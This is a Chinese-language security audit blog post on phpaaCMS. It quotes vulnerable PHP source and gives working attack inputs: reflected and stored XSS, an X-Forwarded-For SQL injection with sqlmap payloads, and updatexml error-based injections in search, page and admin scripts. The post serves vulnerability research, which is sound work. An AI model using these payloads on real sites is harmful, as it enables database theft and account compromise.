0x00
这个cms是在一期周报里看到的,不过周报里是0.3版本的,而且是最简单的一个GET注入,所以响应上一篇审计ZZCMS时我在群里说过的豪言,像ZZCMS这样子的,给我来一打,我能打十个!(#斜眼笑。。。)
0x01
那我们根据他周报里出现的最简单的GET注入的位置,看看他是如何修复的。 show.php 1行 – 6行
1 2 3 4 5 6 <?php include_once 'global.php' ;$id = !empty ($id ) ? intval ($id ) : 0 ;$arc = getArticleInfo ($id );?>
可以看到,他只把类型给强制给转换了,而不是用全局包含的形式去过滤,所以肯定会出现过滤不严的问题,从而导致肯定会会出现SQL注入。
可以看到,他只把类型给强制给转换了,而不是用全局包含的形式去过滤,所以肯定会出现过滤不严的问题,从而导致肯定会会出现SQL注入。
0x02
search.php 21行 反射XSS
1 <td align="left" >搜索关键字:<font style="color:#F00" "><?php echo $_GET ['keywords'];?></font></td>
这里其实是搜索框这里的,也是最近在测试一些站点最常见的漏洞,毕竟有这么一个,我这天的报告就算完成了一半了。
1 http://127.0.0.1/phpaaCMS/search.php?keywords=<script>alert(1);</script>
0x03
按照常规思路继续来到后台留言板这里看下这里的代码。
message.php 13行–40行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include_once 'header.php'; if(isset($_POST['name'])){ if(empty($_POST['name'])){ exit ("<script>alert('称呼为空!'); window.history.go(-1);</script>"); }elseif(empty($_POST['content'])){ exit ("<script>alert('内容不能为空!');window.history.go(-1);</script>"); }else{ $record = array( 'title' =>$_POST ['title'], 'name' =>$_POST ['name'], //'sex' =>$_POST ['sex'], //'qq' =>$_POST ['qq'], //'phone' =>$_POST ['phone'], //'email' =>$_POST ['email'], //'address' =>$_POST ['address'], 'content' =>$_POST ['content'], 'ip' =>get_client_ip(), 'created_date' =>date ( "Y-m-d H:i:s" ) ); $id = $db->save('phpaadb_message',$record); if($id){ echo "<script>alert('留言成功!管理员审核才能看到!') window.location='message.php';</script>"; } } } ?>
可以看到,没有一丝丝过滤的就这么插进去了,但是还是得看后台页面进行了过滤没有才是可以的。
/admin/message.php 146行
1 2 3 4 5 6 7 8 9 <font style="color:#009900"> <?php echo $list['created_date'];?> </font> <font style="color:#0009CC"> <?php echo $list['name'];?> </font> QQ: <?php echo $list['qq'];?> Email: <?php echo $list['email'];?> IP: <?php echo $list['ip'];?></t
通过查看,可以确认,储存XSS一枚,确认无疑。
0x04
接着上面那个留言板,我们可能没有仔细观察接受 来访IP那里,我们再来观察一下。
是不是有种很熟悉的感觉?那我们继续跟进下这个函数的位置看一下。
/include/functions.php 12行 – 23行
1 2 3 4 5 6 7 8 9 10 11 12 function get_client_ip ( ) { if (getenv ("HTTP_CLIENT_IP" ) && strcasecmp (getenv ("HTTP_CLIENT_IP" ), "unknown" )) $ip = getenv ("HTTP_CLIENT_IP" ); else if (getenv ("HTTP_X_FORWARDED_FOR" ) && strcasecmp (getenv ("HTTP_X_FORWARDED_FOR" ), "unknown" )) $ip = getenv ("HTTP_X_FORWARDED_FOR" ); else if (getenv ("REMOTE_ADDR" ) && strcasecmp (getenv ("REMOTE_ADDR" ), "unknown" )) $ip = getenv ("REMOTE_ADDR" ); else if (isset ($_SERVER ['REMOTE_ADDR' ]) && $_SERVER ['REMOTE_ADDR' ] && strcasecmp ($_SERVER ['REMOTE_ADDR' ], "unknown" )) $ip = $_SERVER ['REMOTE_ADDR' ]; else $ip = "unknown" ; return ($ip );
再看到这个函数,是不是和上篇ZZCMS好似兄弟一样?妥妥的一个 XFF 注入啊!那扔SQLmap里看一下结果把。
1 2 3 4 5 6 7 8 9 10 11 12 13 Parameter: X -Forwarded -For #1* ((custom ) HEADER ) Type : boolean -based blind Title : MySQL RLIKE boolean -based blind - WHERE , HAVING , ORDER BY or GROUP BY clause Payload : 0.0.0.0' RLIKE (SELECT (CASE WHEN (1926=1926) THEN 0x302e302e302e30 ELSE 0x28 END )) AND 'cAur '='cAur Type : error -based Title : MySQL >= 5.5 OR error -based - WHERE , HAVING clause (BIGINT UNSIGNED ) Payload : 0.0.0.0' OR (SELECT 2*(IF ((SELECT * FROM (SELECT CONCAT (0x7170627171 ,(SELECT (ELT (4546=4546,1))),0x7162626b 71,0x78 ))s ), 8446744073709551610, 8446744073709551610))) AND 'dhus '='dhus Type : AND /OR time -based blind Title : MySQL >= 5.0.12 OR time -based blind Payload : 0.0.0.0' OR SLEEP (5) AND 'rtPK '='rtPK
可以看到存在布尔盲注,时间盲注,还有报错注入。不过这里得提一个点,由于这是INSERT注入,所以请不要去用sqlmap去测试,因为这会造成很多的垃圾的测试数据,我曾统计过,sqlmap测试一个注入点,基本会输出120~140个payload数据来判断,所以都懂的。
0x05
额,上面忘了记录还有一个点,还是搜索框那里。
/search.php 24行–29行
1 2 3 4 5 6 <?php foreach(getArticleList("cid=".$_GET['id']."|keywords=".$_GET['keywords']."|row=20") as $list){?> <tr> <td height="30" align="left"><a href="show.php?id=<?php echo $list['id']?>" target="_blank"><?php echo $list['title']?></a> </td> <td width="120" align="left"><?php echo $list['pubdate']?> </td> </tr> <?php }?>
这里只要跟进一下 getArticleList() 这个函数即可。
/include/function.web.php 136行–206行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 function getArticleList ($str ='' ) { global $db ; $page = !empty ($_REQUEST ['page' ]) ? intval ($_REQUEST ['page' ]) : 0 ; $curpage = empty ($page )?0 :($page -1 ); $init_array =array ( 'row' =>0 , 'titlelen' =>0 , 'keywords' =>0 , 'type' =>'' , 'cid' =>'' , 'order' =>'id' , 'orderway' =>'desc' ); $str_array = explode ('|' ,$str ); foreach ($str_array as $_str_item ){ if (!empty ($_str_item )){ $_str_item_array = explode ('=' ,$_str_item ); if (!empty ($_str_item_array [0 ])&&!empty ($_str_item_array [1 ])){ $init_array [$_str_item_array [0 ]]=$_str_item_array [1 ]; } } } $row = $init_array ['row' ]; $titlelen = $init_array ['titlelen' ]; $keywords = htmlspecialchars ($init_array ['keywords' ]); $type = $init_array ['type' ]; $cid = $init_array ['cid' ]; $order = $init_array ['order' ]; $orderway = $init_array ['orderway' ]; if (!empty ($titlelen )){ $title ="substring(a.title,1," .$titlelen .") as title" ; }else { $title ="a.title" ; } $where = "" ; if (!empty ($cid )){ $where .= " and a.cid in (" .$cid .")" ; }else { $id = !empty ($id ) ? intval ($id ) : 0 ; if (!empty ($id )){ $where .= " and a.cid in (" .$id .")" ; } } if ($type =='image' ){ $where .= " and a.pic is not null" ; } if (!empty ($keywords )){ $where .= " and a.title like '%" .$keywords ."%' or a.content like '%" .$keywords ."%'" ; } $sql = "select a.id,b.id as cid," .$title .",a.att,a.pic,a.source, a.author,a.resume,a.pubdate,a.content,a.hits,a.created_by,a.created_date, b.name from phpaadb_article a left outer join phpaadb_category b on a.cid=b.id where a.delete_session_id is null " .$where ." order by a." .$order ." " .$orderway ; global $pageList ; $pageList ['pagination_total_number' ] = $db ->getRowsNum ($sql ); $pageList ['pagination_perpage' ] = empty ($row )?$pageList ['pagination_total_number' ]:$row ; return $db ->selectLimit ($sql ,$pageList ['pagination_perpage' ],$curpage *$row ); }
函数较多,,懒的细解释,直接一个搜索型报错payload搞定。
1 search.php?keywords=111%' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '%1%'='%1
然后成功的出来root用户信息了。
XPATH syntax error: ‘root@localhost‘
0x06
page.php 4行–11行
1 2 3 4 5 6 7 8 $id = is_numeric ($_GET ['id' ])?$_GET ['id' ]:0 ;$code = $_GET ['code' ]?$_GET ['code' ]:'' ;if (!empty ($id )){ $page = getPageInfoById ($id ); }else { $page = getPageInfoByCode ($code ); }?>
这里挺有意思的,如果id存在就用上面的函数,如果不存在就接受下面的code参数,我们分别查看下每个函数的意思把。 在搜索第一个函数的时候,竟然没搜到,后来看到后,程序员犯了个小bug,就是把大写的ID在调用文件里写成小写了,怪不得我搜不到。
/include/function.web.php
68行–71行
1 2 3 4 function getPageInfoByID ($id =0 ) { global $db ; return $db ->find ("select * from phpaadb_page where id=" .$id ); }
77行–80行
1 2 3 4 function getPageInfoByCode ($code ) { global $db ; return $db ->find ("select * from phpaadb_page where code='" .$code ."'" ); }
这不是妥妥的SQL注入啊,不解释。
0x07
额额,前台的差不多就这些了,再弄几个后台没毛用的SQL注入把?不能光前台把。
/admin/category.action.php 16行 – 27 行
1 2 3 4 5 6 7 8 9 10 11 if ($act =='edit' ){ $pid = $_POST ['pid' ]; $id = $_POST ['cid' ]; $record = array ( 'pid' =>$_POST ['pid' ], 'name' =>$_POST ['name' ], 'seq' =>$_POST ['seq' ], 'description' =>$_POST ['description' ] ); $db ->update ('phpaadb_category' ,$record ,'id=' .$id ); header ("Location: category.php" );
这里关键的函数在于act,为什么说关键了,如果没有这个,就不存在接下来的判断。 然后我们继续看下这个update这个函数。
/include/mysql.class.php 91行 – 107 行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function update ($table , $field_values , $where = '' ) { $field_names = $this ->getCol ( 'DESC ' . $table ); $sets = array (); foreach ( $field_names as $value ) { if (array_key_exists ( $value , $field_values ) == true ) { $sets [] = $value . " = '" . $field_values [$value ] . "'" ; } } if (! empty ( $sets )) { $sql = 'UPDATE ' . $table . ' SET ' . implode ( ', ' , $sets ) . ' WHERE ' . $where ; } if ($sql ) { return $this ->query ( $sql ); } else { return false ; } }
这里也不解释了,妥妥的后台注入就行了,直接上数据库吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /phpaaCMS/admin/category.action.php HTTP/1.1 Host: 127.0 .0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv:54.0 ) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,*
pid,name,seq,description这四个参数都存在注入。
payload:
1 ' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and ' 1 '=' 1
0x08
user.add.php 1行–7行
1 2 3 4 5 6 7 <?php require_once ("global.php" );$userid = trim ($_GET ['userid' ])?trim ($_GET ['userid' ]):0 ;$act = trim ($_GET ['act' ])?trim ($_GET ['act' ]):'add' ;$actName = $act == 'add' ?'添加' :'修改' ;$users = $db ->find ( "select * from phpaadb_users where userid=" . $userid );?>
注入注入注入,,,,不无聊了,,毕竟还是得审计搞搞就行了,尤其是是这个像ZZCMS一样的CMS。
python才是我的最爱,而apt才是。。。
0x09
有时候我也在想,当初有一个apt的机会,我不敢闯,怕自己做不好,而安服到底是我所追求的吗?我到底一开始要成为像猪猪侠一样的白帽子,还是像江湖中的侠客一般,仗剑走天涯?可能真的应了那句话,路走的远了,可能真的忘了当初为什么要走这条路。